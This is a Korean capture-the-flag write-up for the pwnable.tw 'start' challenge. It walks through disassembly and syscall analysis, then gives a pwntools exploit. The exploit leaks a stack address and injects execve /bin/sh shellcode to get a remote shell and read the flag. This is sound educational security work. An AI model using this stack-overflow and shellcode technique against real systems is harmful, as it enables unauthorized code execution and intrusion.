[pwnable.tw] start Write up

·

4 min read

gef> disas main
No symbol table is loaded.  Use the "file" command.

gef> info func
All defined functions:

Non-debugging symbols:
0x08048060  _start
0x0804809d  _exit
0x080490a3  __bss_start
0x080490a3  _edata
0x080490a4  _end

처음에 아무 생각 없이 disas main 명령어를 사용했는데 심볼이 없다고 떠서 info func로 확인해보니 어셈블리어로 코딩된 프로그램인 걸 알 수 있었습니다.

gef> checksec
Canary                                  : Disabled
NX                                      : Disabled
PIE                                     : Disabled
RELRO                                   : No RELRO
Fortify                                 : Not found

다행히 보호 기법은 다 꺼져있었습니다. 보호 기법만 보고 쉽게 풀 수 있을거라고 생각했는데 생각보다 삽질을 많이 했습니다..

먼저 _start 를 보겠습니다.

gef> disas _start
Dump of assembler code for function _start:
   0x08048060 <+0>:     push   esp
   0x08048061 <+1>:     push   0x804809d
   0x08048066 <+6>:     xor    eax,eax
   0x08048068 <+8>:     xor    ebx,ebx
   0x0804806a <+10>:    xor    ecx,ecx
   0x0804806c <+12>:    xor    edx,edx
   0x0804806e <+14>:    push   0x3a465443
   0x08048073 <+19>:    push   0x20656874
   0x08048078 <+24>:    push   0x20747261
   0x0804807d <+29>:    push   0x74732073
   0x08048082 <+34>:    push   0x2774654c
   0x08048087 <+39>:    mov    ecx,esp
   0x08048089 <+41>:    mov    dl,0x14
   0x0804808b <+43>:    mov    bl,0x1
   0x0804808d <+45>:    mov    al,0x4
   0x0804808f <+47>:    int    0x80
   0x08048091 <+49>:    xor    ebx,ebx
   0x08048093 <+51>:    mov    dl,0x3c
   0x08048095 <+53>:    mov    al,0x3
   0x08048097 <+55>:    int    0x80
   0x08048099 <+57>:    add    esp,0x14
   0x0804809c <+60>:    ret
End of assembler dump.

차근 차근 분석해보겠습니다.

먼저 14~34줄을 보면 어떤 값들을 push 하는걸로 봐서 32bit 바이너리인걸 유추했습니다. 그리고 int 0x80 명령이 어떤 명령인지 몰라서 찾아보니 커널에 시스템 호출을 해주는 명령어라고 봤습니다(syscall 이라고 생각하면 될듯합니다)

코드만 보고 유추하기 쉽지 않아서 간단하게 동적 분석을 해보겠습니다.

┌──(root㉿met30r-mo)-[~/OneDrive/pwnable.tw/start]
└─# ./start
Let's start the CTF:aaaa

"Let's start the CTF:" 문자열을 출력한 후 문자열을 입력받고 끝나네요. int 0x80 이 두 번 사용 되었으니 한번은 출력, 한번은 입력으로 유추할 수 있습니다. 코드를 보고 자세하게 분석 해보겠습니다.

   0x08048087 <+39>:    mov    ecx,esp
   0x08048089 <+41>:    mov    dl,0x14
   0x0804808b <+43>:    mov    bl,0x1
   0x0804808d <+45>:    mov    al,0x4
   0x0804808f <+47>:    int    0x80

int 0x80 전까지 진행한 후 레지스터 상태는 아래와 같습니다.

$eax   : 0x00000004
$ebx   : 0x00000001
$ecx   : 0xffffd334  ->  0x2774654c
$edx   : 0x00000014
$esp   : 0xffffd334  ->  0x2774654c
$ebp   : 0x00000000
$esi   : 0x00000000
$edi   : 0x00000000

eax에 4가 들어가 있으니 syscall table 4번을 확인해보겠습니다.

Numbersyscall%eaxarg0(%ebx)arg1(%ecx)arg2(%edx)
40x04writeunsigned int fdconst char *bufsize_t count

syscall table 을 보고 함수를 유추해보면 write(1, 0xffffd334, 0x14(DEC : 20)) 입니다.

   0x08048093 <+51>:    mov    dl,0x3c
   0x08048095 <+53>:    mov    al,0x3
   0x08048097 <+55>:    int    0x80
$eax   : 0x00000003
$ebx   : 0x00000000
$ecx   : 0xffffd334  ->  0x2774654c
$edx   : 0x0000003c
$esp   : 0xffffd334  ->  0x2774654c
$ebp   : 0x00000000
$esi   : 0x00000000
$edi   : 0x00000000
Numbersyscall%eaxarg0(%ebx)arg1(%ecx)arg2(%edx)
30x03readunsigned int fdchar *bufsize_t count

read(0, 0xffffd334, 3c(DEC: 60))

write가 출력하는 주소와 read가 입력받는 주소가 동일하네요.

입력 했을 때 bof가 발생하는 지 알아보기 위해 _start 함수 마지막 줄에 브레이크 포인트를 걸어서 0xffffd334 와 esp(ret) 사이 오프셋을 구해보겠습니다.

gef> b* _start + 60
Breakpoint 1 at 0x804809c
gef> r
Starting program: /mnt/c/Users/usung/OneDrive/pwnable.tw/start/start
Let's start the CTF:aaaa

•••

gef> p $esp
$1 = (void *) 0xffffd348
gef> p/d 0xffffd348 - 0xffffd334
$2 = 20

위 read 함수에선 60을 입력받는데 Input <-> ret 오프셋은 20이니 bof가 발생하네요.

여기서 삽질을 좀 많이 했습니다

ASLR을 생각 안하고 모든 보호기법이 꺼져있어서 당연히 쉘코드를 입력하고 0xffffd334 주소로 리턴하면 문제가 풀릴거라고 생각했는데 아니였습니다..

입력 버퍼의 실제 주소를 출력하는 방법을 찾다가 0x08048087 <+39>: mov ecx,esp 이 주소로 return을 덮으면 마지막 esp 값인 0xffffd348 이 ecx로 인자로 넘어가서 write syscall에서 출력되겠다고 생각했습니다.

먼저 실제 주소를 구하는 코드부터 짜보았습니다.

from pwn import *

p = remote('chall.pwnable.tw', 10000)

pay = b'A' * 20
pay += p32(0x08048087)

p.sendafter(b'CTF:', pay)
leak = u32(p.recvn(4))

print('Input Buffer =', hex(leak))

p.interactive()
┌──(root㉿met30r-mo)-[~/OneDrive/pwnable.tw/start]
└─# py test.py
[+] Opening connection to chall.pwnable.tw on port 10000: Done
Input Buffer = 0xffce4460
[*] Switching to interactive mode

출력해주는 주소에 입력을 받기 때문에 이제 쉘코드를 입력하고 ret을 leak 한 주소로 덮으면 됩니다.

하지만 32비트 쉘코드가 25bytes 여서 input <-> ret오프셋보다 길어서 어떻게 삽입할지 고민하다가 ret 뒤에 삽입하고 ret에 leak + 20 을 입력하는걸로 익스플로잇 코드를 짰습니다. 그러면 길이 걱정없이 쉘코드를 삽입 가능하고 정상적으로 공격도 가능합니다.

Exploit Code

from pwn import *

p = remote('chall.pwnable.tw', 10000)

pay = b'A' * 20
pay += p32(0x08048087)

p.sendafter(b'CTF:', pay)
leak = u32(p.recvn(4))

print('Input Buffer =', hex(leak))

pay = b'A' * 20
pay += p32(leak+20)
pay += b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80'

p.sendline(pay)

p.interactive()
┌──(root㉿met30r-mo)-[~/OneDrive/pwnable.tw/start]
└─# py ex.py
[+] Opening connection to chall.pwnable.tw on port 10000: Done
Input Buffer = 0xffa6a3b0
[*] Switching to interactive mode
\x00\x00\x005\xbf\xa6\xff\x00\x00\x00\x00G\xbf\xa6\xff
$ id
uid=1000(start) gid=1000(start) groups=1000(start)
$ find / -name flag 2> /dev/null
/home/start/flag
$ cat /home/start/flag
FLAG{----flag는 삭제-----}
$